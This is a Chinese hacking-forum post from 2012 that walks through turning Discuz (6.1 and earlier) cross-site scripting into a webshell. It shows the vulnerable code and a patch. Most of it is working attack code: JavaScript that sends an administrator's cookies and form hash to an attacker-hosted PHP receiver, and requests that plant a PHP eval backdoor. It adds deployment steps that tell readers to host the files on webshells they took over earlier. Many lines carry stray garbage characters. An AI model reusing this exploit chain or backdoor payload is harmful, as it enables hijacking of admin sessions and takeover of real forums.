找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3823|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell( ^" e, T; z8 T* F3 x/ W7 K2 F3 ^
By racle @tian6.com2 j; K) y- R3 z1 i6 k
欢迎转帖.但请保留版权信息.1 _- U7 L( n( m6 u' Q+ d
受影响版本iscuz<=6.1.0,gbk+utf+big5/ V! K( l) D% A5 D
! c' K" T4 q  V, J
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效." W- V$ }& ?/ W. t

7 z* R/ e8 T+ d! O: e( ]# \2 ]0 G" e7 M# Z7 J! w, ]
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87061 h4 L6 o% D4 w3 n5 M
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.( q8 l) K( m* @/ k" w

6 J8 b7 V. X: N0 Q分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
* r4 z  z. Z* L; V( K) k3 W本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
, H2 H+ u( g/ L$ O5 ~1 O9 |2 \3 D2 T4 c0 y: x
9 {. L5 c$ j5 j! C
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
1 Z, p, M' Q& \7 }  j1 A) D$ r0 d5 A% j
: t7 v! c( ]5 Q, {: A, }7 p
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.- r/ J! [; }4 O% S" j; Q

2 J! t6 D1 G( F8 d1 b' Pproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
& |7 i" R! |4 S
9 h$ M4 l' o1 J+ N9 cproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.$ H& j0 B; ]- o5 v( M9 r
0 i% z* F: y. Z$ w/ _% a6 c% m

% E% Q$ ~+ W. D7 w$ \3 x) ?% j7 n下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {$ x3 V( i1 H7 u4 d. g

8 H8 o4 D% v0 ~+ E3 k% A1 j+ A+ ^        global $runwizardfile, $runwizardhistory;
! p" R( f" f/ G. Y- I; |0 b& T  P, {( ~& O: f" z' D# ]
        $fp = fopen($runwizardfile, 'w');
7 {+ I0 i6 U# I; T( a
- q7 M* N  \, D1 Q: v  J        fwrite($fp, serialize($runwizardhistory));
4 I" W; I/ t# p6 B* p  _# ~0 y; M% ]2 N* L& p. }$ B
        fclose($fp);
/ U0 `/ v5 E" G: H, m& X1 ^7 m) k" z( X+ Q8 q% q
}+ V* b2 T$ Z7 ?4 O0 [$ G
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里., Y, o8 U4 V! n% i$ W, `" U
以下是修补的办法:function saverunwizardhistory() {$ a# u  W& Z3 N7 m- g
$ i4 O/ T( d1 q" F7 \8 p
        global $runwizardfile, $runwizardhistory;  H8 |8 B: Z" Q
2 a" W, \- Z9 O! x/ L) O, A
        $fp = fopen($runwizardfile, 'w');+ k0 D5 M% |0 u6 K7 a5 v7 o
+ c9 @0 `; e& C# M1 \! A* C+ j
        $s = '<?php exit;?>';: ]& |& P- y1 M2 j8 [) L
! @4 k. e+ j: z, \& R
        $s .= serialize($runwizardhistory);
' R0 w# s2 ?; {2 \) F0 ~1 Z& D& R, V5 Y* ]# h/ z
        fwrite($fp, $s);* j( S2 Q1 G+ F5 k
& O4 y/ D3 @$ K6 `8 C
        fclose($fp);
1 s" D' k# S4 C( y6 F
5 t# J' c7 W! F+ b0 {) C. S}" E  _9 u1 ?7 u/ N
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.# g5 r* j6 Y& r, O' c  T8 l
" i9 i! l: Y& d% F6 I' T, i  b, T

) @# l) Q% h* n! g% y. ]" ], b' E0 M2 r- R  R, ~
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
9 ~0 _. }2 H3 e  s
$ x* C7 l2 Z* u/ h! S, x
* o& A: D; C, H  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
% |4 _/ J( C$ q. Q0 G5 H& l" m+ e3 w, F
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.1 u- }- h3 e( p7 ^, I- ]8 i
7 P9 [# R0 z! M8 `1 j7 i
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.+ }! O; u" K$ E" w+ y

2 V% [; m8 T0 Y- f( R) [; D首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:* x( T% z$ O' C! Z. J
' G7 u8 {* s5 j, k; ~& ^9 O# Z5 ^) p3 M
var url="http://目标网站/admincp.php";      
. U! [! `1 t: x0 `! u$ x
1 Q2 @1 Z4 `. I8 T* e/*获得cookies*/
7 t# _( Z# Z* M0 m3 a  O% \/ u$ o, E
+ ~: C0 z# p) e( A7 j. dfunction getURL(s) {
! |7 J! h# `8 Y7 O* J
$ U$ k! |4 C3 W2 L1 n5 O/ ?var image = new Image();/ D. j7 n8 e" j) Z- s  b8 w& H+ r

9 U9 @8 E% v9 q/ F* T+ k, o/ _+ }# a4 mimage.style.width = 0;3 [/ N$ f3 ]& W2 V  B% g. q2 ^! P

% A; n' u0 ]. Eimage.style.height = 0;
" u% M, H  N" j5 N' Q
- \" w3 Y* O) u% |! eimage.src = s;+ s+ A; g; ?2 |6 Y
- `) e1 R- ?: o, d
}
& ?3 v6 w) X7 y) n8 ]+ `4 }5 t- W% z
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php+ |7 x; B, c; h' b3 b& _$ ^
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
) d" j6 v9 P( k7 S* L& ~复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
5 H5 ]* L2 a6 g' R1 J2 E* r% v$ D% w. w. S2 H6 w% F

" s  p; G- ~; A$ l7 @; Y9 i! D获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";& q* s+ Q$ R4 N2 X$ U& @
: a5 V3 h  ?- e; \5 w( i' W1 o: t  {8 u
) Q) S) b# d! q+ l* c% c
, a  M! l4 H4 C. y( `
/*hash*/# C' Q" M+ c9 a

% s. J" r4 N1 C5 Qvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");6 h0 ^8 [8 q* Q, [
; H6 W2 C& n6 u+ D
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);6 Y, n& n& d( l9 I! H
5 t) P+ F4 W) k% v; j5 o6 K
xmlHttpReq.send();
9 R  w4 R$ n! }
* |* y, s5 `$ |- Lvar resource = xmlHttpReq.responseText;1 d1 \$ h' |' J0 |+ [( _, [+ E

9 r7 H1 h0 p* y' m+ b3 Pvar numero = resource.search(/formhash/);2 e1 L( t1 ^& z/ S# p" H
, v3 c# d& m/ p2 t8 |. f( k9 N
var formhash=encodeURIComponent(resource.substr(numero+17,8));4 j& G8 t/ v+ h+ Z8 W
  e( Y9 l  p; l2 z) @9 H5 q1 e
; @# F! i9 |5 Z# C5 N) d% a
3 o" m/ D3 }* ^7 Z- Z8 N
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
2 s$ \7 u4 y5 n- U, O3 d4 A; ~5 s2 p/ g1 m: \7 U+ N' a; `3 ]8 I$ _
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
- c) Y- E& ?- @6 A5 \' I) E0 `1 ?
xmlHttpReq.setRequestHeader("Referer", url);
' L- A+ q7 o/ P& D- ?3 Y0 N% J- P3 b
9 ?2 V8 n- I3 `2 |/ m% AxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");8 C3 C" t- c+ W/ e) C$ q2 s

6 \- E" |; D1 w) v3 vxmlHttpReq.setrequestheader("content-length",post.length); 0 y0 e$ A& L' _

- ^( U* u( W& v# L; Y) c/ K9 E$ @1 nxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
, G- H# R/ ~; h; F9 F% @
3 ^, z+ f  K- w% @7 c* hxmlHttpReq.send(post);//发送数据: q; Y% X2 Y. y% L  K9 V
复制代码这里HASH我假设正确,这样提交,也无须cookies# @! r+ [. R+ W- G7 T! _

, ]) l* n; I: u: `0 P( j6 A再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);( A2 h( Z$ o; K; r4 A
8 Y! X: t" W+ c. C2 W, _
if (!$sock) die("$errstr ($errno)\n");
9 H8 U# z, Z* U' e, t
6 M6 q2 {1 V6 e3 F" U: w$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';( X* x; Q* Y' I; ^
4 E) g$ J3 @! i1 Q& t4 h% e# C

( t1 P  Y" l# l' E$ U6 x4 t" H5 L& U% x' Y7 @2 g
fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");- @- H. t% y/ [& X0 @
9 h) |! J0 f6 B! l
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
( [0 J# G- @/ N7 o6 u& m# _) \1 D3 \- t  {6 G  F2 A) o
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
' F5 N" ~* R% A6 s. X1 b6 M9 {0 d( X( e5 U& b' O5 ]6 \
fwrite($sock, "Accept-Language: zh-cn\r\n");% d9 Z: {& m# Q; R6 h: C

2 k8 ~4 Q# v7 D1 _. a* E  \2 a; ~( f! Afwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
+ V0 P4 s# ~8 w8 M1 K
2 A- H( H" i* s3 Z& R0 W) Z+ C8 {fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");8 h6 O% J; d; q9 f/ ^) Y" [# m$ R& [
+ ]3 B/ L7 w1 g9 s" _! y1 z7 y: i
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
7 m6 ~) s! u' ~# W9 ?  Z5 b% D2 Q3 N5 D1 g  l# ~# W7 P
fwrite($sock, "Host: $url\r\n");
# D9 p7 M. I2 G0 p3 r5 T5 {+ o3 S+ _4 X5 E* |
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");8 u; D0 e% }1 ]8 ]

9 C+ q# A* Z* K( e4 P% M6 J. gfwrite($sock, "Connection: Keep-Alive\r\n");2 {7 E0 k( b5 q# w( a# l* z
( o+ X# Z2 }; N" S3 Y  \4 \
fwrite($sock, "Cache-Control: no-cache\r\n");
* b8 C8 M9 a9 @. F. C& o# v. y
0 `: W$ c5 A6 j2 I. l' jfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
' @# i1 z$ P1 f+ T' l9 ?" M
9 ?( b) V5 K2 @7 H! [% B0 j, efwrite($sock, $data);
+ f6 n; o4 d5 N8 \  ]
% M5 \  m" u& V9 W% K* O0 A! J, e4 u  j

2 m2 T8 k1 \/ w9 |" Z7 X+ v$headers = "";
% z) F" f# j- Y; p+ U: v. O2 e+ E& l; Y& Y- p  L6 O
while ($str = trim(fgets($sock, 4096)))/ Y7 ~- m1 I. A! U, Q% Q
! {, b+ y4 a6 t) p+ \
     $headers .= "$str\n";  @3 d% m0 u  N* x5 T

! v" f3 t" V, Eecho "\n";9 X9 @6 ]6 o# r" _6 d/ j' O( b

. s, M: ]+ {% J  J  d4 ~) s6 O$body = "";, I7 F: q( ^% C0 l* [7 {& a8 a8 E
, T( a! @8 H4 B8 }% Y
while (!feof($sock))
, ?  t2 g( b, F. Q
: |% g+ R0 H, C! f6 w0 ]0 l     $body .= fgets($sock, 4096);- K/ p- l" F7 Q5 v; h

9 e. C! ^, c& d/ Ofclose($sock);' ], G2 G. y7 }: O  _6 Z
3 o. l: A) I; I' o1 v5 _+ l/ j
echo $body;
2 j  |1 v. U- c; p) T9 c7 f复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
0 d2 Z/ A6 D+ [# F( S. f: ^9 b1 E1 I: T$ l% f; @) p" \! x: X
0 O& |( h% B7 l4 l: g4 O
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------8 E) m3 s  E$ }9 h# z0 G

# j) e4 S" w3 l
7 D2 W  o! |% t: Z4 ^- Q1 f/ M* z! A1HP SOCKET利用方法首先打开racle.js
1 x9 W* U5 S; m  \0 Q1 f* m* W+ F! S, h) ?2 Z" l
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home/ a- `; O' m/ z# [9 F7 U7 G
# \3 R% q+ }5 s
( A3 Z; N/ c0 \2 {% V8 Z
7 A9 O& e3 L; k" L& w* V8 f
然后打开racle@tian6.php
! k# m; ~* Y1 w; u! i" Y
- ~! @2 J) |& E% H& u7 u) h$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
; h; O  e" k$ g* j9 f: M3 i
1 O, X" s5 ?' J+ b- _" e! i9 x5 [) Q: r  @7 L
0 g' i3 g% c2 Y& O5 h, W. d
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
4 Z% Q3 H" }' G3 j" b  s1 |) q4 Z, h" f# S
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
* M$ N0 d% ?1 l9 e7 X4 V
0 |/ N, C) U& T8 o& Q- U; d4 p8 A6 c
6 B  L. p; O0 G
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));2 J. t2 z# r5 F* a$ x' D4 y3 ~
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.1 ]5 t' {& x! j1 J  ^3 T; J) v" z# T
3 g1 ?2 e9 F5 N& }8 {
, e4 S  O* B# [! a( o

/ [7 o( s, N/ x+ b  R; t如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:( \1 D) ^" O$ _
' l; j/ g/ O0 T$ f) C* S
var formhash=encodeURIComponent(resource.substr(numero+17,8));
% R. I& O+ c) ^) x7 r& W  ~. x
2 t' @9 f9 H# W0 A& @) u0 i4 I& W0 C* }# C
( o5 y) L: {; P: e
- N5 Z( L8 c4 q# ?  H' y' Jvar formhash=encodeURIComponent(resource.substr(numero+9,8));' j% D  p9 N, Z" q( O+ a
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.$ ~" s& X* d) v# e6 O3 X, |

6 ^4 X+ g" U$ h如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
$ {3 y4 r# L# x3 e3 e& S. T, Z% Q+ S1 H/ U: \9 D& K; F
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.5 z( ]4 A( B# k9 Y- G
1 Z% e/ w8 b- ?' P0 y+ O' }
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
% ?# \. e1 O) Q# X$ u 9 I- I0 z+ `, H: K4 Q+ C1 k9 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表